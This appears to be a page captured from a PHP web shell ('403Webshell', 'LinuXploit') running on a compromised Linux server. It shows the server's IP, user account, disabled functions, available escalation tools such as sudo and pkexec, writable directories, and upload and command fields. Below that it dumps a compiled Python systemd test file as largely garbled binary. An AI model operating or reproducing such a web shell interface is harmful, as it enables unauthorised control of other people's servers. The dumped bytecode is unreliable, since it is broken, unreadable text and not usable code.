403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.12/site-packages/systemd/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.12/site-packages/systemd/test/__pycache__/test_journal.cpython-312.opt-1.pyc
�

���bd+����ddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlmZm
Z
ddlmZddlZej"d�Zej"d�ZGd�d�Zej*d	��Zej*d
��Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&d�Z'd�Z(d�Z)d�Z*d�Z+d�Z,d �Z-d!�Z.d"�Z/d#�Z0d$�Z1d%�Z2d&�Z3y)'�)�print_functionN)�journal�id128��
_make_line� 8441372f8dca4ca98694a6091fd8519f� 8441370000000000000000001fd85000c��eZdZd�Z		dd�Zy)�
MockSenderc��g|_y�N)�buf)�selfs �@/usr/lib64/python3.12/site-packages/systemd/test/test_journal.py�__init__zMockSender.__init__s	�����Nc���d|zg}|�!t|d|�}|jd|z�||cxur|cxur�#nn tjd��ddd\}}}|�|jd|z�|� |jd	j	|��|�|jd
|z�|jd�|j
�D��|jj|�y)NzMESSAGE=�hexzMESSAGE_ID=�)�limitr�z
CODE_FILE=zCODE_LINE={:d}z
CODE_FUNC=c3�:K�|]\}}t||����y�wr
r)�.0�key�vals   r�	<genexpr>z"MockSender.send.<locals>.<genexpr>*s����H��X�S�#�J�s�C�(��s�)�getattr�append�	traceback�
extract_stack�format�extend�itemsr)	r�MESSAGE�
MESSAGE_ID�	CODE_FILE�	CODE_LINE�	CODE_FUNC�kwargs�args�ids	         r�sendzMockSender.sends����W�$�%���!���U�J�7�B��K�K�
��*�+��	�6�Y�6�.7�.E�.E�A�.N�q�.Q�RT�ST�.U�+�I�y�)�� ��K�K��y�0�1�� ��K�K�(�/�/�	�:�;�� ��K�K��y�0�1����H�����H�H�������r)NNNN)�__name__�
__module__�__qualname__rr,�rrrrs���(,�7;�rrc#�K�	d��y#ttf$r)}|j|k(rtj��d}~wwxYw�wr
)�OSError�IOError�errno�pytest�skip)�code�es  r�skip_oserrorr9-s9�����
���W����7�7�d�?��K�K�M�
���s"�A�	�A�A�$<�A�Ac#�\K�	d��y#t$rtj�YywxYw�wr
)�
ValueErrorr5r6r0rr�skip_valueerrorr<6s%�����
�������
��s�,�	�,�)�,�)�,c�8�tjj}yr
)r�JournalHandler�map_priority)�ps r�test_prioritiesrA=s�����+�+�Arc�,�ddi}tjt�5tjdi|��ddd�tjt�5tjj|�ddd�y#1swY�KxYw#1swYyxYw)Nz X  rr0)r5�raisesr;rr>�	with_args��kws r�"test_journalhandler_init_exceptionrGRse��
���B�	���z�	"����$��$�
#�	���z�	"����(�(��,�
#�	"�
#�	"��	"�	"�s�A>� B
�>B�
Bc��ddd�}tjtjfi|��tj|d<tjj	|�y)Nr�)�X�X3�level)rr>�logging�INFOrDrEs r�test_journalhandler_initrOYsC���a��B����7�<�<�.�2�.��,�,�B�w�K����$�$�R�(rc	���tjdtjddddd�}t�}dd|jd�}tjtjfi|��}|j|�t�}t
jjtjdd|jd��}|j|�t
jj�y)	N�test-logger�testpath��testrrI)rJrK�sender_function)rLrJrKrU)	rM�	LogRecordrNrr,rr>�emitrD)�record�senderrF�handlers    r�test_journalhandler_infor[_s���
�
�
�}�g�l�l�J��6�SW�Y]�
^�F�
�\�F��a�F�K�K�	8�B��$�$�W�\�\�8�R�8�G��L�L���
�\�F��$�$�.�.����!�RS�gm�gr�gr�/s�t�G��L�L������$�$�&rc	���tjdtjddddd�}t�}t	j
tj|j��}|j|�y)NrQrRrSrT)rU)rMrVrNrrr>r,rW�rXrYrZs   r�!test_journalhandler_no_message_idr^tsQ��
�
�
�}�g�l�l�J��6�SW�Y]�
^�F�
�\�F��$�$�W�\�\�6�;�;�O�G��L�L��rc	���tjdtjddddd�}t�}t	j
tj|jt��}|j|�y�NrQrRrSrT�rUr%)	rMrVrNrrr>r,�TEST_MIDrWr]s   r�)test_journalhandler_message_id_on_handlerrc|sV��
�
�
�}�g�l�l�J��6�SW�Y]�
^�F�
�\�F��$�$�W�\�\�6�;�;�08�:�G��L�L��rc	��tjdtjddddd�}t�}t	j
tj|jtj��}|j|�yr`)
rMrVrNrrr>r,rbrrWr]s   r�-test_journalhandler_message_id_on_handler_hexre�sZ��
�
�
�}�g�l�l�J��6�SW�Y]�
^�F�
�\�F��$�$�W�\�\�6�;�;�08���>�G��L�L��rc	��tjdtjddddd�}t|jd<t�}t
jtj|jt��}|j|�y�NrQrRrSrTr%ra)rMrVrN�	TEST_MID2�__dict__rrr>r,rbrWr]s   r�)test_journalhandler_message_id_on_messagerj�sd��
�
�
�}�g�l�l�J��6�SW�Y]�
^�F�$-�F�O�O�L�!�
�\�F��$�$�W�\�\�6�;�;�08�:�G��L�L��rc	�.�tjdtjddddd�}tj|j
d<t
�}tjtj|jt��}|j|�yrg)rMrVrNrhrrirrr>r,rbrWr]s   r�-test_journalhandler_message_id_on_message_hexrl�sh��
�
�
�}�g�l�l�J��6�SW�Y]�
^�F�$-�M�M�F�O�O�L�!�
�\�F��$�$�W�\�\�6�;�;�08�:�G��L�L��rc��tj�}tjtj�}tjtj�}tjtj�}tjtjtjztjz�}tjd�}y)Nr)r�Reader�
LOCAL_ONLY�RUNTIME_ONLY�SYSTEM_ONLY)�j1�j2�j3�j4�j5�j6s      r�test_reader_init_flagsrx�s���	���	�B�	����*�*�	+�B�	����,�,�	-�B�	����+�+�	,�B�	����*�*�W�-A�-A�A�G�DW�DW�W�	X�B�	����	�Brc��tjt�5tjtj
�ddd�t
�5tj|jtj
��}ddd�t
�5tj|jtj
tjz��}ddd�tj|jtj
tjz��}y#1swY��xYw#1swY��xYw#1swY�bxYw)N)�path�flags)
r5rCr;rrn�OS_ROOTr<�strpath�CURRENT_USERrq)�tmpdirrrrsrts    r�test_reader_os_rootr��s���	���z�	"����w���'�
#�	�	�
�^�^����")�/�/�3��
�
�	�
�^�^����")�/�/�G�4H�4H�"H�J��
�
���V�^�^�%�o�o��0C�0C�C�
E�B�
#�	"��	�	��
�	�s$�$D�0D(�AD4�D%�(D1�4D=c��tj|j��}tjd|j��tj|j��}tj|j��y)N�rzr)rrnr})rrrrss   r�test_reader_init_pathr��sH��	���V�^�^�	,�B��N�N�1�6�>�>�*�	���V�^�^�	,�B��N�N����'rc��tjt�5tjdd��ddd�y#1swYyxYw)Nr���r��r5rCr2rrnr0rr� test_reader_init_path_invalid_fdr��s(��	���w�	����q�r�"�
 �	�	��	�;�Ac��tjt�5tjdd��ddd�y#1swYyxYw)Nrr�r�r0rr�%test_reader_init_path_nondirectory_fdr��s(��	���w�	����q�q�!�
 �	�	�r�c��tj|jtj�}t	t
j�5tj|��}ddd�t�5tjtj|��}ddd�tjtj|��}y#1swY�gxYw#1swY�;xYw�Nr�)�os�openr}�O_RDONLYr9r4�ENOSYSrrnr<�SYSTEMr~)r�fdrrrsrts     r�test_reader_init_path_fdr��s���	���������	-�B�	�e�l�l�	#�
�^�^��
$��
$�
�	�
�^�^�G�N�N��
4��
�
����,�,�2�	6�B�
$�	#��
�	�s�C�1&C�C�Cc���tj|j��}|5ddd�tjt
�5t
|�ddd�y#1swY�7xYw#1swYyxYwr�)rrnr}r5rCr2�next�r�js  r�test_reader_as_cmr��sG�����F�N�N�+�A�	
��
���w�	��Q��
 �	�	
���
 �	�s�A�A&�A#�&A/c��tj|j��}|5|jtj
�|jtjj�ddd�y#1swYyxYwr�)rrnr}�messageid_matchr�SD_MESSAGE_JOURNAL_START�SD_MESSAGE_JOURNAL_STOPrr�s  r�test_reader_messageid_matchr��sO�����F�N�N�+�A�	
�	���%�8�8�9�	���%�7�7�;�;�<�
���s�A	A5�5A>c��tj|j��}|5|j�|jt�|jtj
�ddd�y#1swYyxYwr�)rrnr}�	this_bootrbrr�s  r�test_reader_this_bootr��sF�����F�N�N�+�A�	
�	���
�	���H��	���H�L�L�!�
�����AA1�1A:c��tj|j��}|5|j�|jt�|jtj
�ddd�y#1swYyxYwr�)rrnr}�this_machinerbrr�s  r�test_reader_this_machiner��sG�����F�N�N�+�A�	
�	����	���x� �	���x�|�|�$�
���r�c���tj|j��}|5ttj
�5|j
d�}ddd�ddd�y#1swY�xYw#1swYyxYw)Nr��FOOBAR)rrnr}r9r4r��query_unique�rr��anss   r�test_reader_query_uniquer��sL�����F�N�N�+�A�	
�
�%�,�,�
'��.�.��*�C�(�
��
'�
'��
��s"�A,�A �A,� A)	�%A,�,A5c���tj|j��}|5ttj
�5|j
�}ddd�ddd�y#1swY�xYw#1swYyxYwr�)rrnr}r9r4r��enumerate_fieldsr�s   r�test_reader_enumerate_fieldsr��sL�����F�N�N�+�A�	
�
�%�,�,�
'��$�$�&�C�(�
��
'�
'��
���"�A+�A�A+�A(	�$A+�+A4c���tj|j��}|5ttj
�5|j
�}ddd�ddd�y#1swY�xYw#1swYyxYwr��rrnr}r9r4r��has_runtime_filesr�s   r�test_reader_has_runtime_filesr��L�����F�N�N�+�A�	
�
�%�,�,�
'��%�%�'�C�(�
��
'�
'��
��r�c���tj|j��}|5ttj
�5|j
�}ddd�ddd�y#1swY�xYw#1swYyxYwr�r�r�s   r� test_reader_has_persistent_filesr�r�r�c��dd�i}tj|j|��}|jdd�}|jdd�}y)N�xxxc��y�N�yyyr0��args r�<lambda>z(test_reader_converters.<locals>.<lambda>s��er�rz�
converters�abc�zzz���)rrnr}�_convert_field�rr�r�rs    r�test_reader_convertersr�sG���+�,�J����F�N�N�z�B�A�
�
�
�5�&�
)�C��
�
�5�+�
.�Crc��d�d�d�}tj|j|��}|jddddgddgd	��}y)
Nc��yr�r0r�s rr�z+test_reader_convert_entry.<locals>.<lambda>���Urc��y)N�YYYr0r�s rr�z+test_reader_convert_entry.<locals>.<lambda>r�r)�x1�x2r�r�r�sdefs��)r��y1r��y2)rrnr}�_convert_entryr�s    r�test_reader_convert_entryr�sN��*�*�,�J����F�N�N�z�B�A�
�
�
�6�#.�$*�F�#3�$/��#=�?�@�Crc�$�tj|j��}|jdd�}tj
dk\r|jdd�}tj
dk\r|jdd�}tj
dk\ryy)Nr��_SOURCE_REALTIME_TIMESTAMPlZKT.)r�__REALTIME_TIMESTAMP�COREDUMP_TIMESTAMP)rrnr}r��sys�version_info)rr�rs   r�test_reader_convert_timestampsr�&s~�����F�N�N�+�A�
�
�
�7�9I�
J�C�
���4���
�
�1�3C�
D�C�
���4���
�
�/�1A�
B�C�
���4�rc��tj|j��}tj�}|j	|�|j	d�tj
ddd�}|j	|�y)Nr�i90i��rI)rrnr}�time�
seek_realtime�datetime)rr��now�long_agos    r�test_seek_realtimer�5sW�����F�N�N�+�A�
�)�)�+�C��O�O�C���O�O�E��� � ��q�!�,�H��O�O�H�rc���ttj�5tjd�}ddd�jd�}t
d|��y#1swY�(xYw)Nztest_journal.pyzmessage...
zprinted message...)�file)r9r4�ENOENTr�stream�write�print)r��ress  r�test_journal_streamr�@sH��	�e�l�l�	#���� 1�2��
$��,�,�~�
&�C�
�
�V�,�

$�	#�s�A�A )4�
__future__r�
contextlibr�r4rMr�r��uuidr�r�systemdrr�systemd.journalrr5�UUIDrbrhr�contextmanagerr9r<rArGrOr[r^rcrerjrlrxr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r0rr�<module>r�s��%�����	���
��"�&�
��4�9�9�7�8���D�I�I�8�9�	���2������������8�*-�)�'�*G�9�9�:�:��
E�(�#�"���=�"�%������6�
&�	�-r

Youez - 2016 - github.com/yon3zu
LinuXploit